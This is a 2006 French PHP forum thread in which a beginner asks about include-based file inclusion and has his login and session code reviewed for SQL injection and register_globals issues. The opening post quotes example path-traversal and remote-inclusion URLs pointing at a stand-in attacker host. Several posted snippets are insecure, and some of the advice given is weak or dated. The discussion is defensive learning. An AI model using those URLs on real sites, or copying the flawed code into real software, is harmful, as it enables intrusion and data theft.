Question sécurité include()

Question sécurité include() - PHP - Programmation

Marsh Posté le 01-02-2006 à 16:25:35    

Salut tout le monde.
Je me pose une question bête, mais j'ai pas trouvé ma réponse, alors je pose ici la question.
 
J'ai été plus qu'averti de la faille include, qui permettais aux personnes malintentionnées d'en profiter.
 
genre  
index.php?page=../../fichiersensible.php
ou bien genre  
index.php?page=http://www.vilainhacker.com/vilainscript.php
 
ce genre de choses.
J'ai donc sécurisé mon site à ce niveau.
 
Mais qu'en est-il de cette situation:
un hacker fait une page d'include non sécurisé pour inclure des pages extérieures:
 
genre
http://www.vilainhacker.com/vilain [...] config.php
Il pourrait dès lors manipuler ma bdd (si celle si est extérieure, comme sql.free.fr).
 
Est-ce possible?
Si oui, comment y faire face?
 
Si la question est stupide (cest fort possible), merci de me jeter des pierres.

Reply

Marsh Posté le 01-02-2006 à 16:25:35   

Reply

Marsh Posté le 01-02-2006 à 16:31:52    

Tout ce qu'il pourait dans un tel cas, c'est demander l'exécution de tes pages tout comme le ferait un navigateur classique et traiter le résultat du script.
En bref, il ne vérait pas les variables de ta page à moins que tu t'amuses à faire un "echo '$var='.$var;".
 
Par contre, si tu ne vérifies pas les éléments en entré ou que tu n'initialises pas toutes les variables que tu utilises, là, il pourait provoquer des dégas mais ca n'aurait rien à voir avec la faille "include".
 
En fait, la faille "include" consiste juste à faire traiter un fichier extérieur au site ou à faire afficher le contenu d'un fichier texte ou binaire (mais pas un fichier php qui serait traité tel quel) qui n'est normalement pas visible ou à provoquer un traitement en boucle. (pas trés utile en général)

Reply

Marsh Posté le 01-02-2006 à 16:57:10    

hmm.
 
par exemple.
mon site se constitue ainsi:
 
 
index.php
 

Code :
  1. <?php
  2. include ("auth.php" );
  3. ?>
  4. <div id="titre">
  5. titre
  6. </div>
  7. <div id="menu">
  8. <?php
  9. include ("menu.php" );
  10. ?>
  11. </div>
  12. <div id="page">
  13. blabla
  14. </div>


 
auth.php
 

Code :
  1. <?php
  2. session_start();
  3. include ("config.php" );
  4. if(!isset($_SESSION['name'])) {
  5. $_SESSION['level'] = 0;
  6. }
  7. else {
  8. $_SESSION['name'] = $name;
  9. $sql = "select * from USERS where NAME='".$name."'";
  10. $req = mysql_query($sql) or die('Erreur');
  11.         $data = mysql_fetch_assoc($req);
  12.  
  13. $_SESSION['level'] = $data['LEVEL'];
  14. }
  15. ?>


 
menu.php

Code :
  1. <?php
  2. if ($level != 0) {
  3. ?>
  4. menu personnalisé
  5. <?php
  6. }
  7. else {
  8. ?>
  9. menu pour les non-membres
  10. <?php
  11. }
  12. ?>


 
Dans ce cas, est-ce que ma page menu est sécurisé?
Si qqun tente de l'inclure chez lui en initialisant auparavant les variables $level et $name

Reply

Marsh Posté le 01-02-2006 à 16:58:11    

et plus généralement, cette facon de faire est-elle bonne?

Reply

Marsh Posté le 01-02-2006 à 17:18:55    

Tu ne dones aucune valeur à $name avant de l'utiliser. :o Si "register_global = on" dans le php.ini, il suffit que j'accéde à ta page à partir de l'adresse http://tonsite.com/index.php?name=toto pour me faire passer pour toto à la condition d'être déjà conecté sous un autre pseudo. Et si je précise pas le pseudo à chaque appel, je me fait passer pour l'homme sans nom.
 
Pire en fait, vu qu'en appellant directement la page http://tonsite.com/auth.php?name=toto ca fait pareil et là, les éventuelles protections mise ne place dans la page index.php seront contourné.
 
Par contre comme les pages sont apellé grace à un http://..... tes pages ne partagent pas les variables de l'apellant. Je te l'ai dit, c'est exactement comme si c'est un navigateur qui demande ta page.

Reply

Marsh Posté le 01-02-2006 à 17:54:05    

comment ca je ne donne aucune valeur à $name avant de l'utiliser?
 
j'ouvre la session
je regarde si elle contient la variabe $name
 
et register_global est sur OFF.
 
Hmmm...
Bon.
C'est une partie de l'architecture sur laquelle je travaille (et je débute en php hein), donc si vous pouviez me donner des conseils ou mettre en évidence des failles, n'hésitez pas.

Reply

Marsh Posté le 01-02-2006 à 18:10:56    

Autant pour moi, j'ai pas fait gaffe qu'il manquait un petit "config.php" si t'y affectes une valeur à $name, alors j'ai rien dit sinon, je persiste à dire que tu ne remplis pas $name dans la partie que t'indique.
 
C'est vrai que tu regardes si $_SESSION['name'] existe mais s'il existe, tu lui affectes le contenu de $name et non pas l'inverse. (le $_SESSION['name'] est à gauche et le $name est à droite du =)

Reply

Marsh Posté le 01-02-2006 à 18:24:57    

omega2 a écrit :

Tu ne dones aucune valeur à $name avant de l'utiliser. :o Si "register_global = on" dans le php.ini, il suffit que j'accéde à ta page à partir de l'adresse http://tonsite.com/index.php?name=toto pour me faire passer pour toto à la condition d'être déjà conecté sous un autre pseudo. Et si je précise pas le pseudo à chaque appel, je me fait passer pour l'homme sans nom.
 
Pire en fait, vu qu'en appellant directement la page http://tonsite.com/auth.php?name=toto ca fait pareil et là, les éventuelles protections mise ne place dans la page index.php seront contourné.
 
Par contre comme les pages sont apellé grace à un http://..... tes pages ne partagent pas les variables de l'apellant. Je te l'ai dit, c'est exactement comme si c'est un navigateur qui demande ta page.


Comment une variable $_GET['name'] se retrouverait dans $_SESSION['name'] de toute façon ?  :??:  
Si aucune ligne dans le script ne dit  
$name=$_GET['name']  
comment pourrait-il y avoir probleme meme avec le register global sur on ?
 

omega2 a écrit :

C'est vrai que tu regardes si $_SESSION['name'] existe mais s'il existe, tu lui affectes le contenu de $name et non pas l'inverse. (le $_SESSION['name'] est à gauche et le $name est à droite du =)


oui ça par contre ça ressemble à une erreur ^

Message cité 1 fois
Message édité par Djebel1 le 01-02-2006 à 18:28:12
Reply

Marsh Posté le 01-02-2006 à 18:31:27    

autre chose:
avec les register global OFF, après ouverture de session, les variables de la session sont elle directement utilisable ou faut-il faire  
 
$var=$_GET['var']   ?
 
et sinon oui j'ai inversé...
apres correction:
 

Code :
  1. else {
  2. $name = $_SESSION['name'];
  3. $sql = "select * from w_users where name='".$name."'";
  4. $req = mysql_query($sql) or die('Erreur SQL !<br>'.$sql.'<br>'.mysql_error());
  5.   $data = mysql_fetch_assoc($req);
  6.  
  7. $_SESSION['userlevel'] = $data['level'];
  8. }
  9. ?>


Reply

Marsh Posté le 01-02-2006 à 18:35:11    

Ne jamais faire directement
$var=$_GET['var']
Puisque là justement, l'utilisateur pourra y mettre ce qu'il veut si tu vérifies pas avant la valeur de $_GET['var']. Il faut toujours faire un test avant
 
Mais ce ne sont pas des variables de session ça, pas besoin d'en ouvrir une pour les utiliser. Par exemple http://tonsite/home.php?name=toto
tu auras direct $_GET['name']='toto' ;
 
Et sinon oui, les variables de session sont directement utilisables une fois la session ouverte. Enfin faut quand même les avoir défini avant bien sur ^^ (genre un script précédent aura mis une valeur dans $_SESSION['name'] quoi)


Message édité par Djebel1 le 01-02-2006 à 18:39:36
Reply

Marsh Posté le 01-02-2006 à 18:35:11   

Reply

Marsh Posté le 01-02-2006 à 18:43:53    

Code :
  1. if (isset($_POST) && !empty($_POST['name']) && !empty($_POST['pass'])) {
  2.   extract($_POST);
  3.   $sql = "select pass from w_users where name='".$name."'";
  4.   $req = mysql_query($sql) or die('Erreur SQL !<br>'.$sql.'<br>'.mysql_error());
  5.   $data = mysql_fetch_assoc($req);
  6.   if($data['pass'] != $pass) {
  7.     echo '<h1>... connexion refusée ... redirection ...</h1>';
  8.     echo '<META HTTP-equiv="refresh" content=1;URL=admin.php>';
  9.   }
  10.  
  11.   else {
  12.     $_SESSION['name'] = $name;
  13.    
  14.   } 
  15.  
  16. }


 
c'bon comme ca?

Reply

Marsh Posté le 01-02-2006 à 18:53:46    

Non, il y a le risque que qqn t'envoie par post un "name" lui permetant d'injecter du mysql sur ta base...


---------------
Si la vérité est découverte par quelqu'un d'autre,elle perd toujours un peu d'attrait
Reply

Marsh Posté le 01-02-2006 à 18:58:01    

Bof.  
 
1) Les variables issues de l'utilisateur (ici ton $_POST), faut leur passer un coup de ça : http://www.php.net/manual/fr/funct [...] string.php
avant de les mettre dans des requêtes SQL. Sinon tu es exposé aux attaques de SQL injection (edit : ouned par esox_ch :p ).
 
Peut-être que tu as les magic quotes sur on dans ton php.ini. Auquel cas tu en es protégé, mais moins efficacement qu'avec le mysql_real_escape_string(). Il vaut mieux mettre les magic quotes sur off et utiliser ça.
 
2) les mots de passe n'ont pas l'air cryptés dans ta bdd. Faudrait leur passer un pti coup de md5 avant de les stocker. Si tu te fais pirater ta base de données, tu l'auras dans l'os, mais tu n'auras pas compromis les mots de passe de tes utilisateurs.


Message édité par Djebel1 le 01-02-2006 à 18:58:46
Reply

Marsh Posté le 01-02-2006 à 19:16:51    

ok.
 
pour le cryptage effectivement je l'avais prévu dans ma todo list, mais j'ai un peu oublié ;)
j'opte pour un cryptade sha-1

Reply

Marsh Posté le 01-02-2006 à 19:17:12    

Djebel1 a écrit :

Si aucune ligne dans le script ne dit  
$name=$_GET['name']  
comment pourrait-il y avoir probleme meme avec le register global sur on ?

Si register_global = on alors automatiquement sans intervention du programmeur, toutes les cases des tableaux $_GET, $_POST et $_SESSION (et je suis pas sur de ne pas en oublier) sont copier dans les variables de même nom.
Aprés, il faut voir quel tableau prime pour les valeurs ayant le même nom, (dépend de la configuration du php.ini) mais dans tous les cas, si tu vérifies un $name non initialisé par programme, tu risques de voir cette variable remplis par le get ou le post.


Message édité par omega2 le 01-02-2006 à 19:17:45
Reply

Marsh Posté le 01-02-2006 à 19:20:58    

oula, c'est énorme ça lol. Je savais pas du tout. Je comprends mieux le problème du register global lol

Reply

Marsh Posté le 01-02-2006 à 19:23:47    

oué omega2 merci ;)
 
mais j'm'étais planté, vous m'aviez embrouillé.
Il était question des variables de session.
donc $_SESSION['name'] pas $_GET['name']
et djebel m'a répondu, effectivement après ouverture de session les variables sont utilisables tel quel.
 
dans ce cas, qu'est ce que register_global ON change pour les sessions?


Message édité par gnarky le 01-02-2006 à 19:25:52
Reply

Marsh Posté le 01-02-2006 à 19:24:35    

C'est pour ça que depuis php 4.3.0 (si je me trompe pas de version) le register_global est désactivé par défaut.
Certaines rumeurs parlent même de sa disparition totale dans les version 6.x.x. (on en est déjà aux 5.1.x)

Reply

Marsh Posté le 01-02-2006 à 19:38:59    

En utilisant la fonction quote_smart de la doc commentée:

Code :
  1. // Protège la variable
  2. function quote_smart($value)
  3. {
  4.    // Stripslashes
  5.    if (get_magic_quotes_gpc()) {
  6.      $value = stripslashes($value);
  7.    }
  8.    // Protection si ce n'est pas un entier
  9.    if (!is_numeric($value)) {
  10.      $value = "'" . mysql_real_escape_string($value) . "'";
  11.    }
  12.    return $value;
  13. }
  14. if (isset($_POST) && !empty($_POST['name']) && !empty($_POST['pass'])) {
  15.   extract($_POST);
  16.   $name = quote_smart($_POST['username']);
  17.   $pass = quote_smart($_POST['pass']);
  18.   $sql = "select pass from w_users where name='".$name."'";
  19.   $req = mysql_query($sql) or die('Erreur SQL !<br>'.$sql.'<br>'.mysql_error());
  20.   $data = mysql_fetch_assoc($req);
  21.   if($data['pass'] != $pass) {
  22.     echo '<h1>... connexion refusée ... redirection ...</h1>';
  23.     echo '<META HTTP-equiv="refresh" content=1;URL=admin.php>';
  24.   }
  25.  
  26.   else {
  27.     $_SESSION['name'] = $name;
  28.    
  29.   } 
  30.  
  31. }


 
c'mieux comme ca?
j'vous assome surrement avec mes questions, et à vous faire commenter mes moindres lignes de code :/
désolé, et si vous arretez d'me materner je comprendrai :D

Reply

Marsh Posté le 01-02-2006 à 19:43:03    

c'est mieux mais du coup :  

Code :
  1. #
  2. if (isset($_POST) && !empty($_POST['name']) && !empty($_POST['pass'])) {
  3. $name = quote_smart($_POST['name']);
  4. $pass = quote_smart($_POST['pass']);
  5. ...

Reply

Marsh Posté le 01-02-2006 à 19:48:51    

lol oui bien sur ;)
j'ai poster ici avant de modifier mes sources, c'pour ca :o

Reply

Marsh Posté le 01-02-2006 à 19:53:54    

hmm...
y a un topic unique des codeurs de forums php sur HFR, mais pas pour les codeurs de sites/blogs/portail ...
 
J'aimerais bien connaitre les expériences de ceux qui ont essayé, qu'ils soient comme moi débutants, ou qu'ils soient des codeurs confirmés.
 
djebel tu n'as pas un site codé par tes soins?
 
j'dis ca... c'est pour causer quoi... en attendant que ma soupe soit prete...

Reply

Marsh Posté le 01-02-2006 à 20:06:20    

Il y a un topic de centralisation des forums en effet, fait une recherche ;)


---------------
Si la vérité est découverte par quelqu'un d'autre,elle perd toujours un peu d'attrait
Reply

Marsh Posté le 01-02-2006 à 20:10:26    

oui c'est cque je disais, y en a un pour les forum, mais pas pour les sites/portails/blogs ;)
 
sinon, la fonction quote_smart marche po et j'arrive pas à la faire marcher.
j'ai donc fini par faire un simple:
 
  $name = trim(htmlspecialchars(addslashes($_POST["name"])));
  $pass = trim(htmlspecialchars(addslashes($_POST["pass"])));

Reply

Marsh Posté le 01-02-2006 à 20:16:06    

Ou alors un mysql_real_escape_string() ?


---------------
Si la vérité est découverte par quelqu'un d'autre,elle perd toujours un peu d'attrait
Reply

Marsh Posté le 01-02-2006 à 20:25:08    

quote_smart utilise mysql_real_escape_string(), mais il te faut être connecté à ta base de données pour l'utiliser ;)

Reply

Marsh Posté le 01-02-2006 à 20:45:52    

Tu as souvent besoin d'echaper des chaines contre les injections SQL sans devoir les envoyer à une base de donnée SQL?


---------------
Si la vérité est découverte par quelqu'un d'autre,elle perd toujours un peu d'attrait
Reply

Marsh Posté le 01-02-2006 à 20:55:15    

bah je sais, je réponds au monsieur moi ^^

Reply

Marsh Posté le 01-02-2006 à 21:41:54    

[newbie]  
çay quoi échaper des chaines <_<

Reply

Marsh Posté le 01-02-2006 à 22:09:23    

tu échape les caractères dangereux (tu mets un \ devant). ' devient \' par exemple
ce que fait la fonction dont on te parle.
Cette fonction a besoin de la connection à la base, puisque c'est la base qui définit quels sont les caractères dangereux.

Reply

Marsh Posté le 01-02-2006 à 22:12:37    

nouvelle question.
une fois que le login est fait, le visiteur a une $userlevel dans sa session.
 
ensuite, pour les zones sécurisées, j'vais utiliser qquechose du genre  
 

Code :
  1. <?php
  2. if ($userlevel !=9) { exit; }
  3. else {
  4. ?>
  5. contenu privé


 
est-ce que cela suffit?

Reply

Marsh Posté le 01-02-2006 à 22:56:41    

http://forum.hardware.fr/hardwaref [...] 4014-1.htm (voir la partie ancien post dans le premier, pour voir le lien avec ta question ^^)

Reply

Marsh Posté le 01-02-2006 à 23:10:14    

hum oui mais la ca tourne en rond :/
 :sweat:  
 
j'ai maintenant asigné un level pour chaque visiteur.
non-loggués: level 0
loggué: level entre 1 et 8 (j'm'en servirai plus tard)
admin: level 9
 
 
Alors qu'auparavant au début de mon autre topic c'était  
 

Code :
  1. <?php
  2. // -----------------------------------
  3. // Vérification d'éxistence d'une session  
  4. // -----------------------------------
  5. if (!isset($pseudo) && !isset($ip))
  6. {
  7. session_destroy();
  8. ?>
  9. <h1>Veuillez vous connecter...</h1>
  10. ~~~( ici le formulaire )~~
  11. <?php
  12. exit();
  13. }
  14. ?>


 
maintenant ca sera
 

Code :
  1. <?php
  2. if ($userlevel != 0) {
  3. ?>
  4. Bienvenue dans la zone privée.
  5. <?php
  6. else {
  7. session_destroy();
  8. ?>
  9. <h1>Veuillez vous connecter...</h1>
  10. ~~~( ici le formulaire )~~
  11. <?php
  12. }
  13. ?>


 
C'est mieux comme ca nan ?

Reply

Marsh Posté le 01-02-2006 à 23:37:27    

pour en revenir à la question initiale:
j'ai fait des tests divers depuis un autre compte free pour essayer de passer outre les protections de mon site en construction, mais bon comme je suis encore un piètre programmeur, le fait d'avoir échoué n'est pas significatif.
 
Alors:
 
mettons que je fasse une page, dans laquelle je crée une session contenant la variable $userlevel de valeur 9.
 
une session équivalente sur mon site actuel permet d'acceder à tout.
 
alors n'y a t'il pas une faille possible exploitable?


Message édité par gnarky le 01-02-2006 à 23:38:19
Reply

Marsh Posté le 02-02-2006 à 00:20:36    

En gros : Dans ma maison il y a une fenetre, est-ce qu'on peut me cambrioler ?
 
Reponse : Ca depend de l'etage, s'il y a une alarme, des barreau, un garde avec un lance flamme derriere ...
 
=> Sans details on peut rien dire... Et balance nous pas 600lignes avec "cherchez la faille"


---------------
Si la vérité est découverte par quelqu'un d'autre,elle perd toujours un peu d'attrait
Reply

Marsh Posté le 02-02-2006 à 00:52:00    

moui.
hehe.
c'est sur que j'm'attend pas à ce que mon site soit une forteresse (de toute facon qui voudrait le hacker?).
Disons que comme je suis en apprentissage, j'ai pas envie de faire des énormités au niveau de la sécurité, ca serait dommage.
Comme sarko, je lutte contre l'insécurité dans les banlieues de mes scripts.


Message édité par gnarky le 02-02-2006 à 00:54:45
Reply

Marsh Posté le 03-02-2006 à 22:01:22    

gnarky a écrit :

Salut tout le monde.
Je me pose une question bête, mais j'ai pas trouvé ma réponse, alors je pose ici la question.
 
J'ai été plus qu'averti de la faille include, qui permettais aux personnes malintentionnées d'en profiter.
 
genre  
index.php?page=../../fichiersensible.php
ou bien genre  
index.php?page=http://www.vilainhacker.com/vilainscript.php


Un clasique sur la faille include, vérifier que la page appelée est sur le serveur :

Code :
  1. if (file_exists("mapage.php" ))
  2. {
  3. include ("mapage.php" );
  4. }
  5. else
  6. {
  7. echo "Pas de page";
  8. }


Ouvre ce lien

Reply

Marsh Posté le    

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed